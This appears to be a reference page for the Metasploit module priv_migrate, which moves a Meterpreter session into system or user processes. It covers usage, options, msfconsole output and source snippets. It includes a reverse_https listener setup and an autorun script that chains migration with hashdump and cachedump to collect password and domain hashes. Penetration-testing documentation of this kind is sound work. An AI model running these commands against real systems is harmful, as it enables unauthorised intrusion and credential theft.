Windows Manage Privilege Based Process Migration - Metasploit


This page contains detailed information about how to use the post/windows/manage/priv_migrate metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Manage Privilege Based Process Migration
Module: post/windows/manage/priv_migrate
Source code: modules/post/windows/manage/priv_migrate.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will migrate a Meterpreter session based on session privileges. It will do everything it can to migrate, including spawning a new User level process. For sessions with Admin rights: It will try to migrate into a System level process in the following order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe. If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights: It will try to migrate to a user level process, if that fails it will attempt to spawn the process then migrate to it. It will attempt the User level processes in the following order: NAME (if specified), explorer.exe, then notepad.exe.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/priv_migrate

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/priv_migrate
msf post(priv_migrate) > show options
    ... show and set options ...
msf post(priv_migrate) > set SESSION session-id
msf post(priv_migrate) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/priv_migrate")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Overview


This module evaluates a Windows Meterpreter session's privileges and migrates the session accordingly. The purpose of this module is to enable the scripting of migrations post exploitation, which allows you to immediately run post modules that require system rights.

You can use this module in situations where incoming sessions may have mixed rights levels and the session needs to be migrated appropriately for additional post modules to run. It is also useful in situations where migration needs to occur within a short period after the session is created.

The types of migrations that occur are described below:

  • A session with admin rights is migrated to a system owned process.
  • A session with user rights is migrated to a user level process. If a specified user level process is not running, the module will spawn it and then migrate the session.

This module is a nice addition to the beginning of an autorun script for post-Meterpreter session creation. An example of an autorun script is provided below.

Options


  • ANAME - This option allows you to specify a system level process that the module attempts to migrate to first if the session has admin rights.
  • NAME - This option allows you to specify the user level process that the module attempts to migrate to first if the session has user rights or if admin migration fails through all of the default processes.
  • KILL - This option allows you to kill the original process after a successful migration. The default value is FALSE.
  • NOFAIL - This option allows you to specify whether or not the module will migrate the session into a user level process if admin level migration fails. If TRUE, this may downgrade priviliged shells. The default value is FALSE.

Module Process


Here is the process that the module follows:

  • Retrieves the privilege information for the current session.
  • If the session has admin rights, it attempts to migrate to a system owned process in the following order:
    • ANAME (Module option, if specified)
    • services.exe
    • wininit.exe
    • svchost.exe
    • lsm.exe
    • lsass.exe
    • winlogon.exe
  • The module will not migrate if the session has System rights and is already in one of the above target processes.
  • If it is unable to migrate to one of these processes, it drops to user level migration if NOFAIL is TRUE.
  • If the session has user rights, it attempts to migrate to a user owned process in the following order:
    • NAME (Module option, if specified)
    • explorer.exe
    • notepad.exe
  • If it cannot migrate, it attempts to spawn the process and migrates to the newly spawned process.
  • Using This Module with AutoRun Scripts


    The use of autorun scripts with this module is an easy way to automate post-exploitation for incoming Meterpreter sessions. The following section describes the basic setup information and provides a script example to show how this module comes in handy.

    Basic Setup Information

    Resource file (.rc) scripts can be used to automate many processes in Metasploit, particularly starting up the console and running scripts once a session is created.

    Startup scripts are executed using the following example where startup.rc is the startup script, and it is located in the user's home directory. Startup scripts are executed once the Metasploit Framework is loaded.

    ./msfconsole -r /home/user/startup.rc
    

    The following is an example startup script that fires up a Meterpreter listener and specifies an autorun script that will be executed when a new session is created. In this example auto.rc is the script to be run after session creation.

    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_https
    set LHOST 192.168.1.101
    set LPORT 13002
    set ExitOnSession false
    set AutoRunScript multi_console_command -r /home/user/auto.rc
    exploit -j
    

    AutoRun Script Example

    This example is a script that will use priv_migrate to migrate the session based on session rights. After migration, it executes modules that will retrieve user password hashes and cached domain hashes. Each one of the hash dump modules requires system rights to be successful. Priv_migrate makes it possible to execute these modules in an autorun script. For sessions with user rights, the hash dump modules will fail, but that is unlikely to impact the state of the session.

    run post/windows/manage/priv_migrate
    run post/windows/gather/hashdump
    run post/windows/gather/cachedump
    

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/priv_migrate post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/priv_migrate

msf6 post(windows/manage/priv_migrate) > show info

       Name: Windows Manage Privilege Based Process Migration 
     Module: post/windows/manage/priv_migrate
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Josh Hale "sn0wfa11" <[email protected]>
  theLightCosine <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  ANAME                     no        System process to migrate to. For sessions with Admin rights. (See Module Description.)
  KILL     false            yes       Kill original session process.
  NAME                      no        Process to migrate to. For sessions with User rights. (See Module Description.)
  NOFAIL   false            yes       Migrate to user level process if Admin migration fails. May downgrade privileged shells.
  SESSION                   yes       The session to run this module on.

Description:
  This module will migrate a Meterpreter session based on session 
  privileges. It will do everything it can to migrate, including 
  spawning a new User level process. For sessions with Admin rights: 
  It will try to migrate into a System level process in the following 
  order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, 
  lsm.exe, lsass.exe, and winlogon.exe. If all these fail and NOFAIL 
  is set to true, it will fall back to User level migration. For 
  sessions with User level rights: It will try to migrate to a user 
  level process, if that fails it will attempt to spawn the process 
  then migrate to it. It will attempt the User level processes in the 
  following order: NAME (if specified), explorer.exe, then 
  notepad.exe.

Module Options


This is a complete list of options available in the windows/manage/priv_migrate post exploitation module:

msf6 post(windows/manage/priv_migrate) > show options

Module options (post/windows/manage/priv_migrate):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ANAME                     no        System process to migrate to. For sessions with Admin rights. (See Module Description.)
   KILL     false            yes       Kill original session process.
   NAME                      no        Process to migrate to. For sessions with User rights. (See Module Description.)
   NOFAIL   false            yes       Migrate to user level process if Admin migration fails. May downgrade privileged shells.
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/priv_migrate post exploitation module:

msf6 post(windows/manage/priv_migrate) > show advanced

Module advanced options (post/windows/manage/priv_migrate):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/priv_migrate module can do:

msf6 post(windows/manage/priv_migrate) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/priv_migrate post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/priv_migrate) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not kill original process <PROC_NAME> (<PROC_PID>)


Here is a relevant code snippet related to the "Could not kill original process <PROC_NAME> (<PROC_PID>)" error message:

82:	      begin
83:	        print_status("Trying to kill original process #{proc_name} (#{proc_pid})")
84:	        session.sys.process.kill(proc_pid)
85:	        print_good("Successfully killed process #{proc_name} (#{proc_pid})")
86:	      rescue ::Rex::Post::Meterpreter::RequestError => error
87:	        print_error("Could not kill original process #{proc_name} (#{proc_pid})")
88:	        print_error(error.to_s)
89:	      end
90:	    end
91:	  end
92:	

Could not migrate to <PROC_NAME>.


Here is a relevant code snippet related to the "Could not migrate to <PROC_NAME>." error message:

94:	  #
95:	  # @return [TrueClass] if it successfully migrated
96:	  # @return [FalseClass] if it failed to migrate
97:	  def migrate(target_pid, proc_name, current_pid)
98:	    if !target_pid
99:	      print_error("Could not migrate to #{proc_name}.")
100:	      return false
101:	    end
102:	
103:	    print_status("Trying #{proc_name} (#{target_pid})")
104:	

Could not migrate to <PROC_NAME>.


Here is a relevant code snippet related to the "Could not migrate to <PROC_NAME>." error message:

110:	    begin
111:	      client.core.migrate(target_pid)
112:	      print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
113:	      return true
114:	    rescue ::Rex::Post::Meterpreter::RequestError => req_error
115:	      print_error("Could not migrate to #{proc_name}.")
116:	      print_error(req_error.to_s)
117:	      return false
118:	    rescue ::Rex::RuntimeError => run_error
119:	      print_error("Could not migrate to #{proc_name}.")
120:	      print_error(run_error.to_s)

Could not migrate to <PROC_NAME>.


Here is a relevant code snippet related to the "Could not migrate to <PROC_NAME>." error message:

114:	    rescue ::Rex::Post::Meterpreter::RequestError => req_error
115:	      print_error("Could not migrate to #{proc_name}.")
116:	      print_error(req_error.to_s)
117:	      return false
118:	    rescue ::Rex::RuntimeError => run_error
119:	      print_error("Could not migrate to #{proc_name}.")
120:	      print_error(run_error.to_s)
121:	      return false
122:	    end
123:	  end
124:	

Session is Admin but not System.


Here is a relevant code snippet related to the "Session is Admin but not System." error message:

138:	        if admin_targets.include? @original_name
139:	          print_good("Session is already in target process: #{@original_name}.")
140:	          return true
141:	        end
142:	      else
143:	        print_status("Session is Admin but not System.")
144:	      end
145:	      print_status("Will attempt to migrate to specified System level process.")
146:	
147:	      # Try to migrate to each of the System level processes in the list.  Stop when one works.  Go to User level migration if none work.
148:	      admin_targets.each do |target_name|

Unable to migrate to any of the System level processes.


Here is a relevant code snippet related to the "Unable to migrate to any of the System level processes." error message:

149:	        if migrate(get_pid(target_name), target_name, @original_pid)
150:	          kill(@original_pid, @original_name)
151:	          return true
152:	        end
153:	      end
154:	      print_error("Unable to migrate to any of the System level processes.")
155:	    else
156:	      print_status("Session has User level rights.")
157:	    end
158:	    false
159:	  end

Could not spawn <PROC_NAME>.


Here is a relevant code snippet related to the "Could not spawn <PROC_NAME>." error message:

194:	      print_status("Attempting to spawn #{proc_name}")
195:	      proc = session.sys.process.execute(proc_name, nil, { 'Hidden' => true })
196:	      print_good("Successfully spawned #{proc_name}")
197:	      return proc.pid
198:	    rescue ::Rex::Post::Meterpreter::RequestError => error
199:	      print_error("Could not spawn #{proc_name}.")
200:	      print_error(error.to_s)
201:	      return nil
202:	    end
203:	  end
204:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Josh Hale "sn0wfa11" <jhale85446[at]gmail.com>
  • theLightCosine

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.